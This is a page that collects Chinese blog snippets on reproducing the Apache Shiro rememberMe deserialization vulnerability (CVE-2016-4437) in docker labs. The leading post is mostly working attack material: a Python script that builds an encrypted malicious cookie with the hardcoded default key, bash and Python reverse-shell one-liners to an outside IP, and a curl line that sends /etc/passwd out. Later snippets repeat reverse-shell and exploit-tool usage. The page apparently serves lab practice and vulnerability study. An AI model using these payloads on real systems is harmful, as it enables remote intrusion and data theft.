精华内容
下载资源
问答
  • shiro反序列化环境搭建
    2020-05-14 10:14:02

    docker:

    docker pull medicean/vulapps:s_shiro_1

    docker run -d -p 5001:8080 medicean/vulapps:s_shiro_1

     

    生成payoad:

    yum install maven -y

    git clone https://github.com/frohoff/ysoserial.git

    cd ysoserial/

    mvn package -DskipTests

    cp target/ysoserial-0.0.6-SNAPSHOT-all.jar /tmp

    yum install python3-devel

    pip3 install pycryptodome

    shiro.py

    # pip install pycrypto
    import sys
    import base64
    import uuid
    from random import Random
    import subprocess
    from Crypto.Cipher import AES
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
        BS   = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key  =  "kPH+bIxk5D2deZiIxcaaaA=="
        mode =  AES.MODE_CBC
        iv   =  uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
        with open("/tmp/payload.cookie", "w") as fpw:
            print("rememberMe={}".format(payload.decode()), file=fpw)

    python3 shiro.py "ping riuvkb.dnslog.cn"

     

    Nc反弹shell

    监听

    nc -lvvp 9999

    反弹

    bash -i >& /dev/tcp/111.111.111.111/9999 0>&1

    或者

    python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('111.111.111.111',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

     

    服务器日志查看回显:

    curl xxxx.cn/$(cat /etc/passwd |xargs| sed 's/ //g')

     
    更多相关内容
  • shiro反序列漏洞环境搭建

    千次阅读 2020-05-09 17:01:41
    kali下shiro反序列漏洞环境搭建 git clone https://github.com/apache/shiro.git git checkout shiro-root-1.2.4 #进入shiro cd samples/web 安装mvn工具 sudo apt-get install openjdk-8-jdk sudo mkdir -p /usr...

    kali下shiro反序列化漏洞环境搭建

    git clone https://github.com/apache/shiro.git
    git checkout shiro-root-1.2.4 #进入shiro
    cd samples/web
    

    安装mvn工具

    sudo apt-get install openjdk-8-jdk
    sudo mkdir -p /usr/local/apache-maven
    wget http://ftp.wayne.edu/apache/maven/maven-3/3.3.9/binaries/apache-maven-3.3.9-bin.tar.gz
    

    在这里插入图片描述

    sudo mv apache-maven-3.3.9-bin.tar.gz /usr/local/apache-maven
    sudo update-alternatives --install /usr/bin/mvn mvn /usr/local/apache-maven/apache-maven-3.3.9/bin/mvn 1
    sudo update-alternatives --config mvn
    vim ~/.bashrc
    

    在这里插入图片描述

    export M2_HOME=/usr/local/apache-maven/apache-maven-3.3.9
    export MAVEN_OPTS="-Xms256m -Xmx512m" # Very important to put the "m" on the end
    export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64 # This matches sudo update-alternatives --config java
    

    在shiro中,这里如果报错,下面有方法解决

    mvn package
    

    在这里插入图片描述
    这里如果报错,下面有方法解决
    在这里插入图片描述
    解决方案:

    ./jdk-6u45-linux-x64.bin
    vim /etc/profile
    

    jdk1.6.0_45改为你安装的jdk的文件夹名称

    export JAVA_HOME=/usr/java/jdk1.6.0_45
    export PATH=$JAVA_HOME/bin:$PATH
    export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
    
    update-alternatives  --config  java
    

    在这里插入图片描述

    java -version
    
    

    在这里插入图片描述
    /usr/local/apache-maven/apache-maven-3.3.9/conf下的toolchains.xml文件

    <toolchain>
        <type>jdk</type>
        <provides>
          <version>1.6</version>
          <vendor>sun</vendor>
        </provides>
        <configuration>
          <jdkHome>/root/shentou/jdk1.6.0_45</jdkHome>
        </configuration>
      </toolchain>
    

    在这里插入图片描述

    安装payload – ysoserial

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -DskipTests
    cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
    

    在这里插入图片描述
    http://192.168.232.137:8080/shiro/
    在这里插入图片描述

    展开全文
  • shiro 反序列化 _CVE-2016-4437

    千次阅读 2021-12-28 14:08:09
    1.环境搭建 实验靶机:CentOS7(192.168.2.102) 攻击机:Kali-Linux(192.168.2...下载shiro反序列化工具: Release ShiroExploit v2.3 · feihong-cs/ShiroExploit-Deprecated (github.com) 填入靶机地址: 对kal

    1.环境搭建

    实验靶机:CentOS7(192.168.2.102)

    攻击机:Kali-Linux(192.168.2.101)

    在CentOS7开启docker容器:

    浏览器登录192.168.2.102:8080

    2.漏洞利用

    影响版本:Apache Shiro <= 1.2.4

    下载shiro反序列化工具:

    Release ShiroExploit v2.3 · feihong-cs/ShiroExploit-Deprecated (github.com)

    填入靶机地址:

    对kali的9999端口进行监听:

    点击执行:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JIYV23xh-1640671674023)(https://cdn.jsdelivr.net/gh/QJLONG/HUMMER-PIC@master/img/20211225131031.png)]

    可以看到shell反弹成功,获取root权限

    利用的的反弹shell:

    bash -i >& /dev/tcp/IP/PORT 0>&1
    

    放到网站上进行加密java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

    3.漏洞分析

    漏洞原因:

    Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

    漏洞特征:

    shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

    展开全文
  • 序列化-->AES加密-->base64编码由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥...

    一、原理分析

    Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,关闭了浏览器下次再打开时还是能够记住上次访问过的用户,下次访问时无需再登录即可访问

    Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码

    由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥进行加密,base64编码,最后作为cookie中的Remember me字段发送。Shiro得到该Remember me字段后进行解码解密并且反序列化,进而导致任意命令执行

    影响版本:Apache Shiro <= 1.2.4

    二、环境准备

    1、https://vulfocus.cn/平台搜索:shiro-cve_2016_4437,启动环境

    2、一台公网服务器(没有的可以自己找环境搭建一个本地的环境)

    3、利用脚本及ysoserial.jar下载地址:https://github.com/insightglacier/Shiro_exploit,脚本中的所有sleep都把他注释掉,不然可能会很慢。

    三、漏洞复现

    1、访问环境

    2、用默认root账号密码登录,记得勾选上Remember Me

    3、可以先用脚本测试下是否存在漏洞,脚本中也列出了比较多的key,可以测试出是采用了哪个key

    python3 shiro_exploit.py -u http://123.58.224.8:42716

    最终测试出,存在该漏洞,采用的key是 kPH+bIxk5D2deZiIxcaaaA==

    又到了令人兴奋的利用环节了

    先启动监听

    再打开一个新的shell窗口,执行:

    python3 shiro_exploit.py -t 3 -u http://123.58.224.8:30771/ -p "bash -c {echo,YmFzaCAt ************************************************JjE=}|{base64,-d}|{bash,-i}"

    其中-u后面跟的是目标地址,-p后面是bash反弹shell的一种base64加密后的写法,里面echo后面的那串base64字符就是bash -i >& /dev/tcp/192.168.137.120/8888 0>&1经过base64加密后的

    执行后过会儿就可以看到shell反弹过来了

    四、参考链接

    1、https://blog.csdn.net/weixin_42019588/article/details/113395928

    2、https://www.freebuf.com/vuls/284529.html

    3、https://zhuanlan.zhihu.com/p/389768500

    展开全文
  • Shiro反序列化的检测与利用

    千次阅读 2021-02-25 09:47:16
    1. 前言 Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证、授权、密码套件和会话管理等功能。 2. 环境搭建 环境搭建vulhub ...4. 自动检测Shiro反序列化之burp插件 https://g
  • 感谢各位大佬的关注 **目标:152.xxx.xxx.xxx****目的:通过信息收集或其他方式寻找到了一枚shiro反序列化的漏洞,并进行了内网渗透测试工作类型:**Web反序列化漏洞 **介绍:**Shiro 是 Java安全框架通过序列化,...
  • 漏洞复现——shiro反序列化

    千次阅读 2022-05-22 21:42:43
    漏洞复现——shiro反序列化
  • Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。 二、环境搭建 ...
  • shiro1.2.4版本中,用户认证信息rememberMe通常会进行Base64编码和AES加密存储在cookie中,当shiro安全框架对用户身份进行认证时,会对rememberMe的内容进行Base64解码和AES解密,然后反序列化还原成java对象,...
  • Part1 前言Shiro反序列漏洞虽然出现很多年了,但是在平时的攻防比赛与红队评估项目中还是能遇到。主站也许遇不到Shiro漏洞,但是主站边缘域名、全资子公司的子域名、边缘资产、微信公众号、微信小程序啥的,总能...
  • shiro-550 IDEA环境配置

    千次阅读 2022-06-21 11:14:11
    CC看完了,下面准备学shiro反序列化,在此之前需要进行一些环境配置,感觉还是比较麻烦的,所以做下记录。感谢师傅的文章真的写的很详细:shiro-550 IDEA环境配置_@Demo的博客-CSDN博客_idea搭建shiro首先就是tomcat...
  • 1、kali部属docker环境 1.1直接执行docker命令出错,需重启一下 1.2重启一下 systemctl daemon-reload sudo service docker restart 1.3获取docker镜像 docker pull medicean/vulapps:s_shiro_1 1.4...
  • Java 通过 writeObject 序列化将对象保存为二进制数据流,通过 readObject 反序列化序列化后的二进制重新反序列化为 Java 对象,如果一个类 readObject 方法被重写,反序列化时调用的是重写后的 readObject 方法,...
  • 影响版本 Apache Shiro <= 1.2.4 默认shiro的commons-collections版本为...dns发现有回显,说明存在反序列化漏洞。 漏洞复现 1.监听回弹shell 2.生成key 3.使用ysoserial中JRMP监听模块,监听9920端口 4.重放
  • Apache Shiro 反序列化(CVE-2016-4437)复现

    千次阅读 2020-08-03 18:02:58
    这个漏洞属于java反序列漏洞的一种,shiro是java的一个开发框架执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用...
  • Apache Shiro 反序列漏洞靶场

    千次阅读 2022-02-02 16:28:53
    Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。 2.漏洞简单...
  • shrio反序列化分析

    2022-03-18 22:08:29
    环境搭建 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 配置pom.xml <dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</...
  • 经典的Shiro反序列漏洞分析

    千次阅读 2021-03-02 10:42:42
    相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞。 那我就这篇文章为大家讲解一下,不懂的哥哥直接背一下,理解一下就好了。 至于为什么要选择shiro反...
  • Shiro反序列漏洞利用笔记 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。目前在Java web应用安全框架中,最热门的产品有Spring Security和Shiro,二者在核心功能上几乎...
  • 看了好久的文章才开始分析调试java的cc链,这个链算是java反序列漏洞里的基础了。分析调试的shiro也是直接使用了cc链。首先先了解一些java的反射机制。一、什么是反射:反射是...
  • Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现漏洞环境搭建漏洞复现反弹shell题外话1题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生原因: shiro默认使用了CookieRememberMeManager,其处理cookie的流程是...
  • shiro反序列漏洞

    2022-06-28 14:41:04
    Apache Shiro 是一个强大灵活的开源安全框架,可以完全处理身份验证、授权、加密和会话管理。shiro框架详细介绍:Shiro安全框架【快速入门】就这一篇! - 知乎 (zhihu.com)在Shiro
  • Apache Shiro反序列漏洞研究及解决方法

    万次阅读 多人点赞 2020-04-02 15:56:13
    前言 一个阳光明媚的午休,我正惬意的喝着茶听着音乐,享受美好生活的时候,客户的QQ头像闪动...1,Shiro反序列漏洞 2,提到了dnslog.cn平台 了解Shiro反序列漏洞 参考官方的JIRA文档记录,https://issues....
  • shiro反序列化复现
  • 介绍shiro反序列漏洞的原理、流程和综合利用工具的使用。
  • shiro反序列漏洞(CVE-2016-4437)

    千次阅读 2021-09-13 20:12:48
    shiro 收到 rememberMe 后进行解密和反序列化,最终造成反序列化漏洞。 0x03 影响版本 Apache Shiro 指纹特征 返回包中包含 rememberMe=deleteMe 字段。 0x05 漏洞复现 一、 环境搭建 下载Ubuntu桌面版作为本次环境...
  • S09-shiro550反序列学习1

    2022-08-03 13:19:47
    前言环境搭建1. 参考文章:Shiro 反序列化记录Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞2. 远程调试:tomcat 启动修

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,424
精华内容 569
关键字:

shiro反序列化环境搭建